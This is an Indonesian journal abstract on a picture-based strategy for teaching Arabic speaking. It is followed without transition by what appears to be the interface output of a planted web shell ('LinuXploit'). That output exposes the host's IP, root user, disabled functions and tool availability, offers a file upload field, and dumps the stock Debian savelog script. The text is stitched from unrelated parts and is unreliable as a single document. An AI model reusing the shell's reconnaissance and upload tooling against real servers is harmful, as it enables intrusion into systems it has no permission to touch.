Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Keywords:
Arabic; speaking skill; ta’bir mushawwar
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
| Server IP : 103.175.217.176 / Your IP : 3.149.214.223 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /bin/ |
Upload File : |
#! /bin/sh
# savelog - save a log file
# Copyright (C) 1987, 1988 Ronald S. Karr and Landon Curt Noll
# Copyright (C) 1992 Ronald S. Karr
# Slight modifications by Ian A. Murdock <imurdock@gnu.ai.mit.edu>:
# * uses `gzip' rather than `compress'
# * doesn't use $savedir; keeps saved log files in the same directory
# * reports successful rotation of log files
# * for the sake of consistency, files are rotated even if they are
# empty
# More modifications by Guy Maor <maor@debian.org>:
# * cleanup.
# * -p (preserve) option
#
# usage: savelog [-m mode] [-u user] [-g group] [-t] [-p] [-c cycle]
# [-j] [-C] [-d] [-l] [-r rolldir] [-n] [-q] file...
# -m mode - chmod log files to mode
# -u user - chown log files to user
# -g group - chgrp log files to group
# -c cycle - save cycle versions of the logfile (default: 7)
# -r rolldir- use rolldir instead of . to roll files
# -C - force cleanup of cycled logfiles
# -d - use standard date for rolling
# -D - override date format for -d
# -t - touch file
# -l - don't compress any log files (default: compress)
# -p - preserve mode/user/group of original file
# -j - use bzip2 instead of gzip
# -J - use xz instead of gzip
# -1 .. -9 - compression strength or memory usage (default: 9, except for xz)
# -x script - invoke script with rotated log file in $FILE
# -n - do not rotate empty files
# -q - be quiet
# file - log file names
#
# The savelog command saves and optionally compresses old copies of files.
# Older version of 'file' are named:
#
# 'file'.<number><compress_suffix>
#
# where <number> is the version number, 0 being the newest. By default,
# version numbers > 0 are compressed (unless -l prevents it). The
# version number 0 is never compressed on the off chance that a process
# still has 'file' opened for I/O.
#
# if the '-d' option is specified, <number> will be YYMMDDhhmmss
#
# If the 'file' does not exist and -t was given, it will be created.
#
# For files that do exist and have lengths greater than zero, the following
# actions are performed.
#
# 1) Version numered files are cycled. That is version 6 is moved to
# version 7, version is moved to becomes version 6, ... and finally
# version 0 is moved to version 1. Both compressed names and
# uncompressed names are cycled, regardless of -t. Missing version
# files are ignored.
#
# 2) The new file.1 is compressed and is changed subject to
# the -m, -u and -g flags. This step is skipped if the -t flag
# was given.
#
# 3) The main file is moved to file.0.
#
# 4) If the -m, -u, -g, -t, or -p flags are given, then the file is
# touched into existence subject to the given flags. The -p flag
# will preserve the original owner, group, and permissions.
#
# 5) The new file.0 is changed subject to the -m, -u and -g flags.
#
# Note: If no -m, -u, -g, -t, or -p is given, then the primary log file is
# not created.
#
# Note: Since the version numbers start with 0, version number <cycle>
# is never formed. The <cycle> count must be at least 2.
#
# Bugs: If a process is still writing to the file.0 and savelog
# moved it to file.1 and compresses it, data could be lost.
# Smail does not have this problem in general because it
# restats files often.
# common location
export PATH=$PATH:/sbin:/bin:/usr/sbin:/usr/bin
COMPRESS="gzip"
COMPRESS_OPTS="-f"
COMPRESS_STRENGTH_DEF="-9";
DOT_Z=".gz"
DATUM=`date +%Y%m%d%H%M%S`
# parse args
exitcode=0 # no problems to far
prog=`basename $0`
mode=
user=
group=
touch=
forceclean=
rolldir=
datum=
preserve=
hookscript=
quiet=0
rotateifempty=yes
count=7
usage()
{
echo "Usage: $prog [-m mode] [-u user] [-g group] [-t] [-c cycle] [-p]"
echo " [-j] [-C] [-d] [-l] [-r rolldir] [-n] [-q] file ..."
echo " -m mode - chmod log files to mode"
echo " -u user - chown log files to user"
echo " -g group - chgrp log files to group"
echo " -c cycle - save cycle versions of the logfile (default: 7)"
echo " -r rolldir - use rolldir instead of . to roll files"
echo " -C - force cleanup of cycled logfiles"
echo " -d - use standard date for rolling"
echo " -D - override date format for -d"
echo " -t - touch file"
echo " -l - don't compress any log files (default: compress)"
echo " -p - preserve mode/user/group of original file"
echo " -j - use bzip2 instead of gzip"
echo " -J - use xz instead of gzip"
echo " -1 .. -9 - compression strength or memory usage (default: 9, except for xz)"
echo " -x script - invoke script with rotated log file in \$FILE"
echo " -n - do not rotate empty files"
echo " -q - suppress rotation message"
echo " file - log file names"
}
fixfile()
{
if [ -n "$user" ]; then
chown -- "$user" "$1"
fi
if [ -n "$group" ]; then
chgrp -- "$group" "$1"
fi
if [ -n "$mode" ]; then
chmod -- "$mode" "$1"
fi
}
while getopts m:u:g:c:r:CdD:tlphjJ123456789x:nq opt ; do
case "$opt" in
m) mode="$OPTARG" ;;
u) user="$OPTARG" ;;
g) group="$OPTARG" ;;
c) count="$OPTARG" ;;
r) rolldir="$OPTARG" ;;
C) forceclean=1 ;;
d) datum=1 ;;
D) DATUM=$(date +$OPTARG) ;;
t) touch=1 ;;
j) COMPRESS="bzip2"; COMPRESS_OPTS="-f"; COMPRESS_STRENGTH_DEF="-9"; DOT_Z=".bz2" ;;
J) COMPRESS="xz"; COMPRESS_OPTS="-f"; COMPRESS_STRENGTH_DEF=""; DOT_Z=".xz" ;;
[1-9]) COMPRESS_STRENGTH="-$opt" ;;
x) hookscript="$OPTARG" ;;
l) COMPRESS="" ;;
p) preserve=1 ;;
n) rotateifempty="no" ;;
q) quiet=1 ;;
h) usage; exit 0 ;;
*) usage; exit 1 ;;
esac
done
shift $(($OPTIND - 1))
if [ "$count" -lt 2 ]; then
echo "$prog: count must be at least 2" 1>&2
exit 2
fi
if [ -n "$COMPRESS" ] && [ -z "`which $COMPRESS`" ]; then
echo "$prog: Compression binary not available, please make sure '$COMPRESS' is installed" 1>&2
exit 2
fi
if [ -n "$COMPRESS_STRENGTH" ]; then
COMPRESS_OPTS="$COMPRESS_OPTS $COMPRESS_STRENGTH"
else
COMPRESS_OPTS="$COMPRESS_OPTS $COMPRESS_STRENGTH_DEF"
fi
# cycle thru filenames
while [ $# -gt 0 ]; do
# get the filename
filename="$1"
shift
# catch bogus files
if [ -e "$filename" ] && [ ! -f "$filename" ]; then
echo "$prog: $filename is not a regular file" 1>&2
exitcode=3
continue
fi
# if file does not exist or is empty, and we've been told to not rotate
# empty files, create if requested and skip to the next file.
if [ ! -s "$filename" ] && [ "$rotateifempty" = "no" ]; then
# if -t was given and it does not exist, create it
if test -n "$touch" && [ ! -f "$filename" ]; then
touch -- "$filename"
if [ "$?" -ne 0 ]; then
echo "$prog: could not touch $filename" 1>&2
exitcode=4
continue
fi
fixfile "$filename"
fi
continue
# otherwise if the file does not exist and we've been told to rotate it
# anyway, create an empty file to rotate.
elif [ ! -e "$filename" ]; then
touch -- "$filename"
if [ "$?" -ne 0 ]; then
echo "$prog: could not touch $filename" 1>&2
exitcode=4
continue
fi
fixfile "$filename"
fi
# be sure that the savedir exists and is writable
# (Debian default: $savedir is . and not ./OLD)
savedir=`dirname -- "$filename"`
if [ -z "$savedir" ]; then
savedir=.
fi
case "$rolldir" in
(/*)
savedir="$rolldir"
;;
(*)
savedir="$savedir/$rolldir"
;;
esac
if [ ! -d "$savedir" ]; then
mkdir -p -- "$savedir"
if [ "$?" -ne 0 ]; then
echo "$prog: could not mkdir $savedir" 1>&2
exitcode=5
continue
fi
chmod 0755 -- "$savedir"
fi
if [ ! -w "$savedir" ]; then
echo "$prog: directory $savedir is not writable" 1>&2
exitcode=7
continue
fi
# determine our uncompressed file names
newname=`basename -- "$filename"`
newname="$savedir/$newname"
# cycle the old compressed log files
cycle=$(( $count - 1))
rm -f -- "$newname.$cycle" "$newname.$cycle$DOT_Z"
while [ $cycle -gt 1 ]; do
# --cycle
oldcycle=$cycle
cycle=$(( $cycle - 1 ))
# cycle log
if [ -f "$newname.$cycle$DOT_Z" ]; then
mv -f -- "$newname.$cycle$DOT_Z" \
"$newname.$oldcycle$DOT_Z"
fi
if [ -f "$newname.$cycle" ]; then
# file was not compressed. move it anyway
mv -f -- "$newname.$cycle" "$newname.$oldcycle"
fi
done
# compress the old uncompressed log if needed
if [ -f "$newname.0" ]; then
if [ -z "$COMPRESS" ]; then
newfile="$newname.1"
mv -f -- "$newname.0" "$newfile"
else
newfile="$newname.1$DOT_Z"
# $COMPRESS $COMPRESS_OPTS < $newname.0 > $newfile
# rm -f $newname.0
$COMPRESS $COMPRESS_OPTS "$newname.0"
mv -f -- "$newname.0$DOT_Z" "$newfile"
fi
fixfile "$newfile"
fi
# compress the old uncompressed log if needed
if test -n "$datum" && test -n "$COMPRESS"; then
$COMPRESS $COMPRESS_OPTS -- "$newname".[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]
fi
# remove old files if so desired
if [ -n "$forceclean" ]; then
cycle=$(( $count - 1))
if [ -z "$COMPRESS" ]; then
list=$(ls -t -- $newname.[0-9]* 2>/dev/null | sed -e 1,${cycle}d)
if [ -n "$list" ]; then
rm -f -- $list
fi
else
list=$(ls -t -- $newname.[0-9]*$DOT_Z 2>/dev/null | sed -e 1,${cycle}d)
if [ -n "$list" ]; then
rm -f -- $list
fi
fi
fi
# create new file if needed
if [ -n "$preserve" ]; then
(umask 077
touch -- "$filename.new"
chown --reference="$filename" -- "$filename.new"
chmod --reference="$filename" -- "$filename.new")
filenew=1
elif [ -n "$touch$user$group$mode" ]; then
touch -- "$filename.new"
fixfile "$filename.new"
filenew=1
fi
newfilename="$newname.0"
# link the file into the file.0 holding place
if [ -f "$filename" ]; then
if [ -n "$filenew" ]; then
if ln -f -- "$filename" "$newfilename"; then
mv -f -- "$filename.new" "$filename"
else
echo "Error hardlinking $filename to $newfilename" >&2
exitcode=8
continue
fi
else
mv -f -- "$filename" "$newfilename"
fi
fi
[ ! -f "$newfilename" ] && touch -- "$newfilename"
fixfile "$newfilename"
if [ -n "$datum" ]; then
mv -- "$newfilename" "$newname.$DATUM"
newfilename="$newname.$DATUM"
fi
if [ -n "$hookscript" ]; then
FILE="$newfilename" $SHELL -c "$hookscript" || \
{
ret=$?
test "$quiet" -eq 1 || echo "Hook script failed with exit code $ret." 1>&2
}
fi
# report successful rotation
test "$quiet" -eq 1 || echo "Rotated \`$filename' at `date`."
done
exit $exitcode
Youez - 2016 - github.com/yon3zu
LinuXploit